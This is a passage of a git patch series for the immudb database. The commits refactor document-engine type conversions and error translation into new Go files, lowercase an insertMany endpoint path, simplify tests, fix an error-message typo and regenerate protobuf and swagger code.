value.GetKind().(*structpb.Value_StructValue) - if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - return sql.NewBlob([]byte(value.GetStructValue().String())), nil - case sql.Float64Type: - _, ok := value.GetKind().(*structpb.Value_NumberValue) - if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - return sql.NewFloat64(value.GetNumberValue()), nil - case sql.BooleanType: - _, ok := value.GetKind().(*structpb.Value_BoolValue) - if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - return sql.NewBool(value.GetBoolValue()), nil - } - - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - - protomodelValueTypeToSQLValueType = func(stype protomodel.FieldType) (sql.SQLValueType, error) { - switch stype { - case protomodel.FieldType_STRING: - return sql.VarcharType, nil - case protomodel.FieldType_INTEGER: - return sql.IntegerType, nil - case protomodel.FieldType_DOUBLE: - return sql.Float64Type, nil - case protomodel.FieldType_BOOLEAN: - return sql.BooleanType, nil - } - - return "", fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - - sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { - switch stype { - case sql.VarcharType: - return sql.MaxKeyLen, nil - case sql.IntegerType: - return 0, nil - case sql.BLOBType: - return sql.MaxKeyLen, nil - case sql.Float64Type: - return 0, nil - case sql.BooleanType: - return 0, nil - } - - return 0, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } -) - type EncodedDocumentAtRevision struct { TxID uint64 Revision uint64 EncodedDocument []byte } -type Engine struct { - sqlEngine *sql.Engine -} - func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { engine, err := sql.NewEngine(store, opts) if err != nil { diff --git a/embedded/document/errors.go b/embedded/document/errors.go new file mode 100644 index 0000000000..cc3def2ae1 --- /dev/null +++ b/embedded/document/errors.go @@ -0,0 +1,80 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "errors" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" +) + +var ( + ErrIllegalArguments = store.ErrIllegalArguments + ErrUnsupportedType = errors.New("unsupported type") + ErrCollectionAlreadyExists = errors.New("collection alrady exists") + ErrCollectionDoesNotExist = errors.New("collection does not exist") + ErrMaxLengthExceeded = errors.New("max length exceeded") + ErrMultipleDocumentsFound = errors.New("multiple documents found") + ErrDocumentNotFound = errors.New("document not found") + ErrDocumentIDMismatch = errors.New("document id mismatch") + ErrNoMoreDocuments = errors.New("no more documents") + ErrFieldAlreadyExists = errors.New("field already exists") + ErrFieldDoesNotExist = errors.New("field does not exist") + ErrReservedFieldName = errors.New("reserved field name") + ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") + ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") +) + +func mayTranslateError(err error) error { + if err == nil { + return nil + } + + if errors.Is(err, sql.ErrTableAlreadyExists) { + return ErrCollectionAlreadyExists + } + + if errors.Is(err, sql.ErrTableDoesNotExist) { + return ErrCollectionDoesNotExist + } + + if errors.Is(err, sql.ErrNoMoreRows) { + return ErrNoMoreDocuments + } + + if errors.Is(err, sql.ErrColumnAlreadyExists) { + return ErrFieldAlreadyExists + } + + if errors.Is(err, sql.ErrColumnDoesNotExist) { + return ErrFieldDoesNotExist + } + + if errors.Is(err, sql.ErrLimitedIndexCreation) { + return ErrLimitedIndexCreation + } + + if errors.Is(err, store.ErrTxReadConflict) { + return ErrConflict + } + + if errors.Is(err, store.ErrKeyAlreadyExists) { + return ErrConflict + } + + return err +} diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go new file mode 100644 index 0000000000..259b9ef359 --- /dev/null +++ b/embedded/document/type_conversions.go @@ -0,0 +1,94 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "fmt" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/protomodel" + + "google.golang.org/protobuf/types/known/structpb" +) + +var structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { + switch stype { + case sql.VarcharType: + _, ok := value.GetKind().(*structpb.Value_StringValue) + if !ok { + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + return sql.NewVarchar(value.GetStringValue()), nil + case sql.IntegerType: + _, ok := value.GetKind().(*structpb.Value_NumberValue) + if !ok { + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + return sql.NewInteger(int64(value.GetNumberValue())), nil + case sql.BLOBType: + _, ok := value.GetKind().(*structpb.Value_StructValue) + if !ok { + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + return sql.NewBlob([]byte(value.GetStructValue().String())), nil + case sql.Float64Type: + _, ok := value.GetKind().(*structpb.Value_NumberValue) + if !ok { + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + return sql.NewFloat64(value.GetNumberValue()), nil + case sql.BooleanType: + _, ok := value.GetKind().(*structpb.Value_BoolValue) + if !ok { + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + return sql.NewBool(value.GetBoolValue()), nil + } + + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) +} + +var protomodelValueTypeToSQLValueType = func(stype protomodel.FieldType) (sql.SQLValueType, error) { + switch stype { + case protomodel.FieldType_STRING: + return sql.VarcharType, nil + case protomodel.FieldType_INTEGER: + return sql.IntegerType, nil + case protomodel.FieldType_DOUBLE: + return sql.Float64Type, nil + case protomodel.FieldType_BOOLEAN: + return sql.BooleanType, nil + } + + return "", fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) +} + +var sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { + switch stype { + case sql.VarcharType: + return sql.MaxKeyLen, nil + case sql.IntegerType: + return 0, nil + case sql.BLOBType: + return sql.MaxKeyLen, nil + case sql.Float64Type: + return 0, nil + case sql.BooleanType: + return 0, nil + } + + return 0, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) +} From f052b28467807cfd3e8c8208497d90d88d88d6d2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 09:21:39 -0300 Subject: [PATCH 0482/1062] chore(pkg/api): endpoint renaming Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 2 +- pkg/api/openapi/apidocs.swagger.json | 2 +- pkg/api/proto/documents.proto | 2 +- pkg/api/protomodel/documents.pb.go | 2 +- pkg/api/protomodel/documents.pb.gw.go | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 01cd94d009..310350894e 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -1537,7 +1537,7 @@ func NewDocumentInsertManyRequestWithBody(server string, contentType string, bod return nil, err } - operationPath := fmt.Sprintf("/documents/insertMany") + operationPath := fmt.Sprintf("/documents/insertmany") if operationPath[0] == '/' { operationPath = "." + operationPath } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 37cbcab0d5..213839dbaa 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -330,7 +330,7 @@ ] } }, - "/documents/insertMany": { + "/documents/insertmany": { "put": { "operationId": "DocumentInsertMany", "responses": { diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index cdb3fcd51c..69240a1e32 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -307,7 +307,7 @@ service DocumentService { rpc DocumentInsertMany(DocumentInsertManyRequest) returns (DocumentInsertManyResponse) { option (google.api.http) = { - put: "/documents/insertMany" + put: "/documents/insertmany" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 0315b909c2..79c4c22c44 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -2282,7 +2282,7 @@ var file_documents_proto_rawDesc = []byte{ 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index d4b97ca16c..c724b5e038 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -1105,7 +1105,7 @@ var ( pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertmany"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DocumentUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "update"}, "", runtime.AssumeColonVerbOpt(true))) From f8bc2591d5fb0413dda837911bf4abb1df32c033 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 14:04:50 -0300 Subject: [PATCH 0483/1062] test(pkg/server): minor test simplification Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database_test.go | 4 +--- pkg/server/documents_operations_test.go | 20 +++++--------------- 2 files changed, 6 insertions(+), 18 deletions(-) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index cd7b501357..2b4a4c3320 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -109,9 +109,7 @@ func TestDocumentDB_Collection(t *testing.T) { { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 123}, - }, + Value: structpb.NewNumberValue(123), }, }, }, diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 9097699dd0..ffba4e11fc 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -179,9 +179,7 @@ func TestPaginationOnReader(t *testing.T) { { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + Value: structpb.NewNumberValue(0), }, }, }, @@ -221,9 +219,7 @@ func TestPaginationOnReader(t *testing.T) { { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + Value: structpb.NewNumberValue(0), }, }, }, @@ -250,9 +246,7 @@ func TestPaginationOnReader(t *testing.T) { { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + Value: structpb.NewNumberValue(0), }, }, }, @@ -276,9 +270,7 @@ func TestPaginationOnReader(t *testing.T) { { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + Value: structpb.NewNumberValue(0), }, }, }, @@ -376,9 +368,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + Value: structpb.NewNumberValue(0), }, }, }, From 37101648bb51a47480a74f2aeb48878d0dc260fa Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 22:14:04 -0300 Subject: [PATCH 0484/1062] chore(embedded/document): typo in error message Signed-off-by: Jeronimo Irazabal --- embedded/document/errors.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/document/errors.go b/embedded/document/errors.go index cc3def2ae1..13089d1f6a 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -25,7 +25,7 @@ import ( var ( ErrIllegalArguments = store.ErrIllegalArguments ErrUnsupportedType = errors.New("unsupported type") - ErrCollectionAlreadyExists = errors.New("collection alrady exists") + ErrCollectionAlreadyExists = errors.New("collection already exists") ErrCollectionDoesNotExist = errors.New("collection does not exist") ErrMaxLengthExceeded = errors.New("max length exceeded") ErrMultipleDocumentsFound = errors.New("multiple documents found") From b17c49b2a9778d65ae597be6542b64b703f55649 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 3 May 2023 22:47:06 -0300 Subject: [PATCH 0485/1062] chore(pkg/api): swagger gen Signed-off-by: Jeronimo Irazabal --- Makefile | 2 +- go.mod | 2 +- go.sum | 2 + pkg/api/httpclient/client.go | 51 ++++++++++++++------------ pkg/api/openapi/apidocs.swagger.json | 2 +- pkg/api/protomodel/authorization.pb.go | 2 +- pkg/api/protomodel/documents.pb.go | 40 ++++++++++---------- 7 files changed, 53 insertions(+), 48 deletions(-) diff --git a/Makefile b/Makefile index b8a485a178..d654d30a8a 100644 --- a/Makefile +++ b/Makefile @@ -198,8 +198,8 @@ build/codegenv2: $(PROTOC) -I pkg/api/proto/ pkg/api/proto/authorization.proto pkg/api/proto/documents.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ --go_out=paths=source_relative:pkg/api/protomodel \ --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ diff --git a/go.mod b/go.mod index 5fc4cd5608..94472f6ea8 100644 --- a/go.mod +++ b/go.mod @@ -42,7 +42,7 @@ require ( google.golang.org/genproto v0.0.0-20230223222841-637eb2293923 google.golang.org/grpc v1.53.0 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 - google.golang.org/protobuf v1.28.1 + google.golang.org/protobuf v1.30.0 ) require ( diff --git a/go.sum b/go.sum index 141df9620d..fefbb77c96 100644 --- a/go.sum +++ b/go.sum @@ -1654,6 +1654,8 @@ google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQ google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= +google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 310350894e..251efddc95 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -274,32 +274,35 @@ type ModelQueryExpression struct { // // Example 2: Pack and unpack a message in Java. // -// Foo foo = ...; -// Any any = Any.pack(foo); -// ... -// if (any.is(Foo.class)) { -// foo = any.unpack(Foo.class); -// } +// Foo foo = ...; +// Any any = Any.pack(foo); +// ... +// if (any.is(Foo.class)) { +// foo = any.unpack(Foo.class); +// } // -// Example 3: Pack and unpack a message in Python. +// Example 3: Pack and unpack a message in Python. // -// foo = Foo(...) -// any = Any() -// any.Pack(foo) -// ... -// if any.Is(Foo.DESCRIPTOR): -// any.Unpack(foo) -// ... +// foo = Foo(...) +// any = Any() +// any.Pack(foo) +// ... +// if any.Is(Foo.DESCRIPTOR): +// any.Unpack(foo) +// ... // -// Example 4: Pack and unpack a message in Go +// Example 4: Pack and unpack a message in Go // -// foo := &pb.Foo{...} -// any, err := ptypes.MarshalAny(foo) -// ... -// foo := &pb.Foo{} -// if err := ptypes.UnmarshalAny(any, foo); err != nil { -// ... -// } +// foo := &pb.Foo{...} +// any, err := anypb.New(foo) +// if err != nil { +// ... +// } +// ... +// foo := &pb.Foo{} +// if err := any.UnmarshalTo(foo); err != nil { +// ... +// } // // The pack methods provided by protobuf library will by default use // 'type.googleapis.com/full.type.name' as the type URL and the unpack @@ -307,8 +310,8 @@ type ModelQueryExpression struct { // in the type URL, for example "foo.bar.com/x/y.z" will yield type // name "y.z". // -// JSON -// ==== +// # JSON +// // The JSON representation of an `Any` value uses the regular // representation of the deserialized, embedded message, with an // additional field `@type` which contains the type URL. Example: diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 213839dbaa..4c281a1bfe 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -1005,7 +1005,7 @@ } }, "additionalProperties": {}, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 7814b050f8..0a2889b9fd 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -16,7 +16,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.1 -// protoc v3.11.4 +// protoc v3.21.12 // source: authorization.proto package protomodel diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 79c4c22c44..65c85280da 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -16,18 +16,18 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.1 -// protoc v3.11.4 +// protoc v3.21.12 // source: documents.proto package protomodel import ( schema "github.com/codenotary/immudb/pkg/api/schema" - _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -998,8 +998,8 @@ type DocumentInsertRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentInsertRequest) Reset() { @@ -1041,7 +1041,7 @@ func (x *DocumentInsertRequest) GetCollection() string { return "" } -func (x *DocumentInsertRequest) GetDocument() *_struct.Struct { +func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -1108,8 +1108,8 @@ type DocumentInsertManyRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Documents []*_struct.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` } func (x *DocumentInsertManyRequest) Reset() { @@ -1151,7 +1151,7 @@ func (x *DocumentInsertManyRequest) GetCollection() string { return "" } -func (x *DocumentInsertManyRequest) GetDocuments() []*_struct.Struct { +func (x *DocumentInsertManyRequest) GetDocuments() []*structpb.Struct { if x != nil { return x.Documents } @@ -1218,9 +1218,9 @@ type DocumentUpdateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` - Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` + Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -1269,7 +1269,7 @@ func (x *DocumentUpdateRequest) GetQuery() *Query { return nil } -func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { +func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -1527,7 +1527,7 @@ type FieldComparison struct { Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` Operator ComparisonOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.model.ComparisonOperator" json:"operator,omitempty"` - Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *FieldComparison) Reset() { @@ -1576,7 +1576,7 @@ func (x *FieldComparison) GetOperator() ComparisonOperator { return ComparisonOperator_EQ } -func (x *FieldComparison) GetValue() *_struct.Value { +func (x *FieldComparison) GetValue() *structpb.Value { if x != nil { return x.Value } @@ -1643,9 +1643,9 @@ type DocumentAtRevision struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` - Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` + Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentAtRevision) Reset() { @@ -1694,7 +1694,7 @@ func (x *DocumentAtRevision) GetRevision() uint64 { return 0 } -func (x *DocumentAtRevision) GetDocument() *_struct.Struct { +func (x *DocumentAtRevision) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -2382,8 +2382,8 @@ var file_documents_proto_goTypes = []interface{}{ (*DocumentAuditResponse)(nil), // 32: immudb.model.DocumentAuditResponse (*DocumentProofRequest)(nil), // 33: immudb.model.DocumentProofRequest (*DocumentProofResponse)(nil), // 34: immudb.model.DocumentProofResponse - (*_struct.Struct)(nil), // 35: google.protobuf.Struct - (*_struct.Value)(nil), // 36: google.protobuf.Value + (*structpb.Struct)(nil), // 35: google.protobuf.Struct + (*structpb.Value)(nil), // 36: google.protobuf.Value (*schema.VerifiableTxV2)(nil), // 37: immudb.schema.VerifiableTxV2 } var 